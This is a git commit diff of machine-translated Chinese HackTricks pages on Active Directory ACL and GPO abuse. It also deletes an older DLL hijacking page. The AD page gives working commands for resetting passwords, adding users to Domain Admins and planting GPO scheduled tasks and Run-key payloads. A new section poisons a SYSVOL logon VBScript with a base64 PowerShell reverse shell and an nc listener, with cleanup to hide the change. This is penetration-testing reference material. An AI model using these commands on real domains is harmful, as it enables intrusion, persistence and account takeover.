Translated ['src/windows-hardening/windows-local-privilege-escalation/dl

This commit is contained in:
Translator 2025-09-29 22:50:14 +00:00
parent 5b2b9d65d8
commit c5fc863e11
3 changed files with 145 additions and 367 deletions

View File

@ -238,7 +238,6 @@
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
**本页主要总了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术。有关更多细节,请查看原始文章。**
**本页主要总了来自** [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术。更多细节请查阅原文。**
## BadSuccessor
@ -11,32 +11,47 @@
BadSuccessor.md
{{#endref}}
## **GenericAll 权限(针对用户)**
## **用户上的 GenericAll 权限**
该权限授予攻击者对目标用户帐户的完全控制。一旦使用 `Get-ObjectAcl` 命令确认 `GenericAll` 权限,攻击者可以:
该权限授予攻击者对目标用户帐户的完全控制。一旦使用 `Get-ObjectAcl` 命令确认存在 `GenericAll` 权限,攻击者可以:
- **更改目标的密码**:使用 `net user <username> <password> /domain`,攻击者可以重置该用户的密码。
- **Targeted Kerberoasting**: 将 SPN 分配给用户帐户以使其 kerberoastable然后使用 Rubeus 和 targetedKerberoast.py 提取并尝试破解 ticket-granting ticket (TGT) 的哈希。
- **更改目标密码**:使用 `net user <username> <password> /domain`,攻击者可以重置该用户的密码。
- 在 Linux 上,也可以通过 SAMR 使用 Samba 的 `net rpc` 实现相同操作:
```bash
# Reset target user's password over SAMR from Linux
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
```
- **如果帐户被禁用,请清除 UAC 标志**: `GenericAll` 允许编辑 `userAccountControl`。从 LinuxBloodyAD 可以移除 `ACCOUNTDISABLE` 标志:
```bash
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
```
- **Targeted Kerberoasting**: 将 SPN 分配给用户账户以使其成为 kerberoastable然后使用 Rubeus 和 targetedKerberoast.py 提取并尝试破解 ticket-granting ticket (TGT) 哈希。
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: 禁用该用户的 pre-authentication使其帐户容易受到 ASREPRoasting 攻击。
- **Targeted ASREPRoasting**: 禁用该用户的预认证,使其账户易受 ASREPRoasting 攻击。
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **GenericAll 权限(对组)**
- **Shadow Credentials / Key Credential Link**:如果对某个用户拥有 `GenericAll` 权限,你可以添加基于证书的凭证并在不更改其密码的情况下以他们身份进行认证。参见:
该特权允许攻击者在对像 `Domain Admins` 这样的组拥有 `GenericAll` 权限时操纵组成员。使用 `Get-NetGroup` 确定该组的 distinguished name区分名称攻击者可以
{{#ref}}
shadow-credentials.md
{{#endref}}
- **将自己添加到 Domain Admins 组**:这可以通过直接命令完成,或使用像 Active Directory 或 PowerSploit 这样的模块。
## **组上的 GenericAll 权限**
如果攻击者对像 `Domain Admins` 这样的组拥有 `GenericAll` 权限,这个权限允许他们操纵组成员身份。在使用 `Get-NetGroup` 确定该组的识别名后,攻击者可以:
- **Add Themselves to the Domain Admins Group**:这可以通过直接命令完成,或使用诸如 Active Directory 或 PowerSploit 之类的模块。
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
- 在 Linux 上,当你对某些组拥有 GenericAll/Write 成员权限时,也可以利用 BloodyAD 将自己添加到任意组中。如果目标组被嵌套在 “Remote Management Users” 中,凡是遵循该组的主机你将立即获得 WinRM 访问权限
- 从 Linux 你也可以利用 BloodyAD 将自己添加到任意组,当你对它们拥有 GenericAll/Write 成员权限时。如果目标组嵌套在 “Remote Management Users” 中,你将立即在遵守该组的主机上获得 WinRM 访问
```bash
# Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
```
## **GenericAll / GenericWrite / Write on Computer/User**
在计算机对象或用户帐户上拥有这些权限允许:
在计算机对象或用户帐户上拥有这些权限允许:
- **Kerberos Resource-based Constrained Delegation**: 可以接管计算机对象。
- **Shadow Credentials**: 利用该技术通过使用这些权限创建 shadow credentials 来模拟计算机或用户帐户。
- **Kerberos Resource-based Constrained Delegation**: 允许接管计算机对象。
- **Shadow Credentials**: 利用这些权限创建 Shadow Credentials从而模拟计算机或用户帐户。
## **WriteProperty on Group**
如果用户对特定组的所有对象拥`WriteProperty` 权限(例如 `Domain Admins`),他们可以:
如果用户对某个组的所有对象具`WriteProperty` 权限(例如 `Domain Admins`),他们可以:
- **Add Themselves to the Domain Admins Group**: 通过结合 `net user``Add-NetGroupUser` 命令实现,此方法允许在域内提权
- **将自己添加到 Domain Admins 组**: 可以通过组合 `net user``Add-NetGroupUser` 命令实现,此方法可在域内进行权限提升
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self(组内自我成员资格)**
## **Self (Self-Membership) on Group**
此权限允许攻击者通过直接操作组成员的命令将自己添加到特定组,例如 `Domain Admins`。使用下面的命令序列可以实现自我添加:
该权限使攻击者能够通过直接操纵组成员关系的命令将自己添加到特定组中,例如 `Domain Admins`。使用以下命令序列可实现自我添加:
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Self-Membership)**
这是一个类似的权限,允许攻击者在对这些组拥有 `WriteProperty` 权利时,通过修改组属性将自己直接添加到组中。该权限的确认和执行使用以下方式进行
这是一种类似的权限;如果攻击者在这些组上拥有 `WriteProperty` 权限,则可以通过修改组属性直接将自己添加到组。对此权限的确认和执行如下
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
拥有某个用户的 `ExtendedRight`(用于 `User-Force-Change-Password`)可以在不知道当前密码的情况下重置密码。可以通过 PowerShell 或其他命令行工具验证并利用该权限,提供多种重置用户密码的方法,包括交互式会话和用于非交互环境的单行命令。相关命令从简单的 PowerShell 调用到在 Linux 上使用 `rpcclient` 不等,展示了攻击向量的多样性。
拥有针对用户的 `ExtendedRight``User-Force-Change-Password`)可在不知道当前密码的情况下重置密码。可以通过 PowerShell 或替代的命令行工具来验证此权限并利用它,提供多种重置用户密码的方法,包括交互式会话和用于非交互环境的单行命令。相关命令从简单的 PowerShell 调用到在 Linux 上使用 `rpcclient` 不等,展示了攻击向量的多样性。
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
## **WriteOwner on Group**
## **WriteOwner 对组**
如果攻击者发现自己对某个组拥有 `WriteOwner` 权限,他们可以将该组的所有者更改为自己。当涉及的组是 `Domain Admins` 时,这尤其具有重大影响,因为更改所有者会允许对组属性和成员资格进行更广泛的控制。该过程包括通过 `Get-ObjectAcl` 确定正确的对象,然后使用 `Set-DomainObjectOwner` 修改所有者,可通过 SID 或名称进行修改
如果攻击者发现他们对某个组具有 `WriteOwner` 权限,他们可以将该组的所有权更改为自己。当目标组是 `Domain Admins` 时,这种操作尤其严重,因为更改所有者可以更广泛地控制组的属性和成员资格。该过程包括通过 `Get-ObjectAcl` 确认正确的对象,然后使用 `Set-DomainObjectOwner` 修改所有者,可通过 SID 或名称进行。
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite on User**
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限时,攻击者可以更改用户的登录脚本路径,以在用户登录时执行恶意脚本。实现方法是使用 `Set-ADObject` 命令将目标用户的 `scriptpath` 属性更新为指向攻击者脚本的路径
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本来实现的
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite on Group**
拥有此权限的攻击者可以操纵组成员关系,例如将自己或其他用户添加到特定组。该过程包括创建一个凭证对象,使用它向组中添加或移除用户,并使用 PowerShell 命令验证成员更
拥有此权限的攻击者可以操控组成员资格,例如将自己或其他用户添加到特定组。该过程涉及创建一个 credential 对象,使用它向组中添加或移除用户,并使用 PowerShell 命令验证成员更。
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -109,11 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
```
- 在 Linux 上Samba `net` 可以在你对该组拥有 `GenericWrite` 权限时添加/移除成员(当 PowerShell/RSAT 无法使用时很有用):
```bash
# Add yourself to the target group via SAMR
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
# Verify current members
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
```
## **WriteDACL + WriteOwner**
拥有一个 AD object 并对其具有 `WriteDACL` 权限,攻击者可以将自己授予对该对象的 `GenericAll` 权限。
这是通过 ADSI 操作来完成的,使攻击者能够完全控制该对象并修改其组成员关系。
尽管如此,使用 Active Directory module 的 `Set-Acl` / `Get-Acl` cmdlets 来利用这些权限时仍存在限制。
拥有 AD 对象并在其上具有 `WriteDACL` 权限,会使攻击者能够授予自己对该对象的 `GenericAll` 权限。这是通过 ADSI 操作实现的,从而允许对该对象进行完全控制并能够修改其组成员资格。尽管如此,使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 来利用这些权限时仍然存在限制。
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -121,64 +141,138 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```
### WriteDACL/WriteOwner 快速接管 (PowerView)
当你对某个用户或服务账户拥有 `WriteOwner``WriteDacl` 权限时,你可以使用 PowerView 完全控制该账户并重设其密码,而无需知道旧密码:
```powershell
# Load PowerView
. .\PowerView.ps1
# Grant yourself full control over the target object (adds GenericAll in the DACL)
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
# Set a new password for the target principal
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
```
注意:
- 如果你只有 `WriteOwner` 权限,可能需要先将所有者更改为自己:
```powershell
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
```
- 验证在密码重置后是否可以通过任何协议 (SMB/LDAP/RDP/WinRM) 访问。
## **域内复制 (DCSync)**
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭证。该强大技术需要类似 `DS-Replication-Get-Changes` 的权限,使攻击者在无需直接访问域控制器的情况下从 AD 环境中提取敏感信息。 [**Learn more about the DCSync attack here.**](../dcsync.md)
DCSync 攻击利用域上的特定复制权限来模拟 Domain Controller 并同步数据,包括用户凭据。这种强大的技术需要诸如 `DS-Replication-Get-Changes` 之类的权限,允许攻击者在无需直接访问 Domain Controller 的情况下从 AD 环境中提取敏感信息。[**在此了解有关 DCSync 攻击的更多信息。**](../dcsync.md)
## GPO 委派 <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO 委派
被委派管理 Group Policy Objects (GPOs) 的访问权限可能带来显著的安全风险。例如,如果像 `offense\spotless` 这样的用户被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用以实施恶意操作,可通过 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
被委派管理 Group Policy Objects (GPOs) 的访问权限可能带来重大安全风险。例如,如果像 `offense\spotless` 这样的用户被委派 GPO 管理权限,他们可能**WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可以被滥用用于恶意目的,可通过 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### 列举 GPO 权限
### 举 GPO 权限
为识别配置错误的 GPO可以将 PowerSploit 的 cmdlets 链接在一起。这可以发现特定用户有权限管理的 GPO`powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
可以将 PowerSploit 的 cmdlets 链接在一起以识别配置错误的 GPO。这允许发现特定用户有权限管理的 GPO`powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**应用了特定策略的计算机**:可以解析特定 GPO 应用于哪些计算机,从而帮助了解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**应用了特定策略的计算机**:可以解析特定 GPO 应用于哪些计算机,从而帮助了解潜在影响范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**应用于特定计算机的策略**:要查看某台计算机上应用了哪些策略,可以使用诸如 `Get-DomainGPO` 的命令。
**应用于特定计算机的策略**要查看某台计算机应用了哪些策略,可使用诸如 `Get-DomainGPO` 的命令。
**应用了特定策略的 OU**:使用 `Get-DomainOU` 可以识别受某个策略影响的组织单位 (OUs)。
**应用了特定策略的 OUs**:可以使用 `Get-DomainOU` 来识别受某个策略影响的组织单元 (OUs)。
你也可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPOs 并发现其中的问题。
你也可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPO 并查找其中的问题。
### 滥用 GPO - New-GPOImmediateTask
配置错误的 GPO 可被利用来执行代码,例如通过创建一个立即执行的计划任务。这可以用于将用户添加到受影响机器的本地 administrators 组,从而显著提升权限:
配置错误的 GPO 可被利用来执行代码,例如通过创建一个 immediate scheduled task。可以通过此方式将用户添加到受影响机器的本地 administrators 组,从而显著提升权限:
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy module - Abuse GPO
如果已安装 GroupPolicy module允许创建并链接新的 GPOs并设置首选项例如 registry values以在受影响的计算机上执行 backdoors。此方法要求更新 GPO 并且需要用户登录该计算机后才能执行:
如果安装了 GroupPolicy module它允许创建和链接新的 GPOs并设置首选项例如 registry values以在受影响的计算机上执行 backdoors。此方法要求 GPO 更新并且用户登录到计算机后才会执行:
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
### SharpGPOAbuse - Abuse GPO
### SharpGPOAbuse - 滥用 GPO
SharpGPOAbuse 提供了一种方法,可以通过添加任务或修改设置来滥用现有 GPOs而无需创建新的 GPOs。该工具需要修改现有 GPOs 或使用 RSAT 工具创建新的 GPOs,然后再应用更改
SharpGPOAbuse 提供了一种通过添加任务或修改设置来滥用现有 GPOs 的方法,而无需创建新的 GPOs。该工具在应用更改之前需要修改现有 GPOs 或使用 RSAT 工具创建新的 GPOs
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
```
### 强制更新策略
### 强制策略更新
GPO 更新通常每约 90 分钟发生一次。为加快此过程,尤其在实施更改后,可在目标计算机上使用 `gpupdate /force` 命令以强制立即更新策略。此命令可确保对 GPOs 的任何修改在不等待下一次自动更新周期的情况下被应用。
GPO 更新通常每约 90 分钟发生一次。为加快此过程,尤其在实施更改后,可在目标计算机上使用 `gpupdate /force` 命令以强制立即更新策略。此命令确保对 GPOs 的任何修改在无需等待下一个自动更新周期的情况下被应用。
### 背后原理
### 深入解析
检查定 GPO例如 `Misconfigured Policy`)的 Scheduled Tasks 时,可以确认添加诸如 `evilTask` 的任务。这些任务通常通过脚本或命令行工具创建,目的是修改系统行为或提升权限。
检查定 GPO例如 `Misconfigured Policy`)的 Scheduled Tasks 时,可以确认添加诸如 `evilTask` 的任务。这些任务通常通过脚本或命令行工具创建,目的是修改系统行为或提升权限。
该任务的结构在`New-GPOImmediateTask` 生成的 XML 配置文件中有所展示,详细列出了计划任务的具体内容——包括要执行的命令及其触发器。该文件展示了在 GPOs 中如何定义和管理计划任务,提供了一种作为策略执行一部分来执行任意命令或脚本的方法。
`New-GPOImmediateTask` 生成的 XML 配置文件中显示的任务结构,概述了计划任务的具体细节——包括要执行的命令及其触发器。该文件反映了在 GPO 中定义和管理计划任务的方式,提供了一种在策略执行过程中运行任意命令或脚本的方法。
### 用户与组
### Users and Groups
GPOs 还允许对目标系统上的用户和组成员资格进行操控。通过直接编辑 Users and Groups 策略文件,攻击者可以将用户添加到特权组,例如本地 `administrators` 组。这可以通过委派 GPO 管理权限实现,允许修改策略文件以包含新用户或更改组成员资格。
GPO 还允许操控目标系统上的用户和组成员资格。通过直接编辑 Users and Groups 策略文件,攻击者可以将用户添加到特权组,例如本地`administrators` 组。这是通过委派 GPO 管理权限实现的,委派权限允许修改策略文件以包含新用户或更改组成员资格。
Users and Groups 的 XML 配置文件概述了这些更改的实现方式。通过向该文件添加条目,可以使特定用户在受影响系统上获得提升的权限。此方法通过操纵 GPO 提供了一种直接的权限提升途径。
Users and Groups 的 XML 配置文件阐明了这些更改如何实现。向该文件添加条目即可在受影响的系统上为特定用户授予提升的权限。该方法通过操作 GPO 提供了一条直接的权限提升途径。
此外,还可以考虑其他执行 code 或保持持久化的方法,例如利用 logon/logoff scripts、修改用于 autoruns 的注册表键、通过 .msi 文件安装软件,或编辑服务配置等。这些技术为滥用 GPOs 来维持访问和控制目标系统提供了多种途径。
## SYSVOL/NETLOGON Logon Script Poisoning
可写路径下的 `\\<dc>\SYSVOL\<domain>\scripts\``\\<dc>\NETLOGON\` 允许篡改通过 GPO 在用户登录时执行的 logon scripts。这会导致在登录用户的安全上下文中执行 code。
### 定位 logon scripts
- 检查用户属性以查看是否配置了 logon script
```powershell
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
```
- 爬取域共享以揭示快捷方式或指向脚本的引用:
```bash
# NetExec spider (authenticated)
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
```
- 解析 `.lnk` 文件以识别指向 SYSVOL/NETLOGON 的目标(对 DFIR 很有用的技巧,也适用于没有直接 GPO 访问权限的攻击者):
```bash
# LnkParse3
lnkparse login.vbs.lnk
# Example target revealed:
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
```
- BloodHound 会在用户节点存在时显示 `logonScript`scriptPath属性。
### 验证写入访问(不要相信共享列表)
自动化工具可能会显示 SYSVOL/NETLOGON 为只读,但底层的 NTFS ACLs 仍可能允许写入。务必进行测试:
```bash
# Interactive write test
smbclient \\<dc>\SYSVOL -U <user>%<pass>
smb: \\> cd <domain>\scripts\
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
```
如果文件大小或 mtime 改变,说明你有写权限。修改前请保留原始文件。
### Poison a VBScript logon script for RCE
追加一条命令以启动 PowerShell reverse shell从 revshells.com 生成),并保留原有逻辑以避免破坏业务功能:
```vb
' At top of login.vbs
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
' Existing mappings remain
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
```
在你的主机上监听并等待下一个交互式登录:
```bash
rlwrap -cAr nc -lnvp 443
```
注意:
- Execution happens under the logging users token (not SYSTEM). Scope is the GPO link (OU, site, domain) applying that script.
- 使用后通过恢复原始内容/时间戳进行清理。
此外,还可以考虑其它用于执行代码或维持持久性的方式,例如利用 logon/logoff scripts、修改用于自动启动的注册表键、通过 .msi 文件安装软件,或编辑服务配置等。这些技术为通过滥用 GPOs 来维持访问并控制目标系统提供了多种途径。
## References
@ -189,5 +283,9 @@ Users and Groups 的 XML 配置文件概述了这些更改的实现方式。通
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
- [BloodyAD AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
- [Samba net rpc (group membership)](https://www.samba.org/)
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,319 +0,0 @@
# Dll Hijacking
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
DLL Hijacking 涉及操纵受信任的应用程序去加载恶意 DLL。这个术语包含若干策略例如 **DLL Spoofing, Injection, and Side-Loading**。它主要用于代码执行、持久化,以及较少用于权限提升。尽管此处关注提升权限,劫持的方法在不同目标之间基本一致。
### 常见技术
针对 DLL hijacking 有几种方法,根据应用程序的 DLL 加载策略,各方法的有效性不同:
1. **DLL Replacement**:用恶意 DLL 替换真实 DLL可选择使用 DLL Proxying 保留原始 DLL 的功能。
2. **DLL Search Order Hijacking**:将恶意 DLL 放置在合法 DLL 之前的搜索路径中,利用应用的搜索模式。
3. **Phantom DLL Hijacking**:为应用创建一个恶意 DLL使其以为这是一个不存在但需要的 DLL 并加载它。
4. **DLL Redirection**:修改搜索参数,例如 %PATH% 或 .exe.manifest / .exe.local 文件,以指向恶意 DLL。
5. **WinSxS DLL Replacement**:在 WinSxS 目录中将合法 DLL 替换为恶意版本,这种方法通常与 DLL side-loading 相关。
6. **Relative Path DLL Hijacking**:将恶意 DLL 放在用户可控目录中并复制应用程序,类似 Binary Proxy Execution 技术。
## 查找缺失的 Dlls
在系统内查找缺失 DLLs 最常见的方法是运行 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)(来自 sysinternals并**设置以下 2 个过滤器**
![](<../../images/image (311).png>)
![](<../../images/image (313).png>)
并且仅显示 **File System Activity**
![](<../../images/image (314).png>)
如果你是在查找**通用的缺失 dlls**,就让它运行几**秒钟**。\
如果你是在查找**特定可执行文件内的缺失 dll**,你应该设置另一个过滤器,比如 "Process Name" "contains" "\<exec name>",执行它,然后停止捕获事件。
## 利用缺失的 Dlls
为了提升权限,我们最好的机会是能**写入一个特权进程会尝试加载的 dll**到某个**会被搜索**的位置。因此,我们可以将 dll 写入一个**在原始 dll 所在文件夹之前被搜索到的文件夹**(罕见情况),或者写入某个**将被搜索但原始 dll 在任何文件夹中都不存在**的文件夹。
### Dll 搜索顺序
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
Windows 应用程序按一组预定义的搜索路径查找 DLLs遵循特定顺序。当恶意 DLL 被策略性地放置在这些目录之一,确保其比真实 DLL 更先被加载时,就会发生 DLL hijacking。防止此类问题的一种方法是确保应用在引用所需 DLL 时使用绝对路径。
你可以在下面看到 32-bit 系统上的 DLL 搜索顺序:
1. 应用程序加载的目录。
2. 系统目录。使用 [GetSystemDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取此目录的路径。(_C:\Windows\System32_)
3. 16-bit 系统目录。没有函数可以获取此目录的路径,但它会被搜索。(_C:\Windows\System_)
4. Windows 目录。使用 [GetWindowsDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取此目录的路径。
1. (_C:\Windows_)
5. 当前目录。
6. 在 PATH 环境变量中列出的目录。注意:这不包括由 **App Paths** 注册表键指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
这是启用 **SafeDllSearchMode** 时的**默认**搜索顺序。当其被禁用时,当前目录会上升到第二位。要禁用此功能,请创建注册表值 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode** 并将其设置为 0默认启用
如果以 **LOAD_WITH_ALTERED_SEARCH_PATH** 调用 [LoadLibraryEx](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数,则搜索将从 LoadLibraryEx 正在加载的可执行模块的目录开始。
最后,注意可以通过指示绝对路径而不是仅提供名称来加载一个 dll。在那种情况下该 dll **只会在该路径中被搜索**(如果该 dll 有任何依赖项,它们将像按名称加载的一样被搜索)。
还有其他方法可以改变搜索顺序,但这里不再详细说明。
### 通过 RTL_USER_PROCESS_PARAMETERS.DllPath 强制 sideloading
一种高级且可确定性地影响新创建进程 DLL 搜索路径的方法是,在使用 ntdll 的原生 API 创建进程时,在 RTL_USER_PROCESS_PARAMETERS 中设置 DllPath 字段。通过在此处提供一个由攻击者控制的目录,当目标进程按名称解析导入的 DLL未使用绝对路径且未使用安全加载标志可以被迫从该目录加载恶意 DLL。
关键思路
